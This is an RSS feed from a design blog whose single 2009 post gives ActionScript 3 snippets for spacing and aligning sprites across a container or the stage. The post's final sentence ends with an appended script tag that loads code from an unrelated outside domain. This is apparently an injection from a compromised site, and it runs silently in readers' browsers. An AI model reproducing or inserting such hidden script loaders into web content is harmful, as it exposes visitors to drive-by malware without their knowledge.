<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Align</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/align/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Horizontal Object Placement &amp; Alignment Formula</title>
		<link>http://blog.thornyrabbit.com/2009/03/horizontal-object-placement-alignment-formula/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/horizontal-object-placement-alignment-formula/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 18:20:26 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Align]]></category>
		<category><![CDATA[DisplayObject]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Sprite]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=133</guid>
		<description><![CDATA[Easy AS3 code to space and align items (such as sprites, movie clips, etc).]]></description>
			<content:encoded><![CDATA[<p><strong>Space objects and place beside each other:</strong></p>
<p>for(var j:Number = 1; j&lt; containerSprite.numChildren ; j++){ //leave first where it is so start at 1</p>
<p>var currSprite:DisplayObject = containerSprite.getChildAt(j);</p>
<p>var prevSprite:DisplayObject = containerSprite.getChildAt(j-1);</p>
<p>currSprite.x = prevSprite.x + prevSprite.width;</p>
<p>}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Space objects equally across an area:</strong></p>
<p>stage.stageWidth*(i /questionArray.length);</p>
<p> </p>
<p><strong>Notes:</strong></p>
<p>- stageWidth  is area to fit into</p>
<p>- array is amount of objects</p>
<p>- first would be at 0 pixels across</p>
<p>- last would be at stageWidth value across</p>
<p>- others would be &#8216;percentage&#8217; thereof  due to division of incrementer</p>
<p> </p>
<p>This would obviously be in a loop of some sort.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/horizontal-object-placement-alignment-formula/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
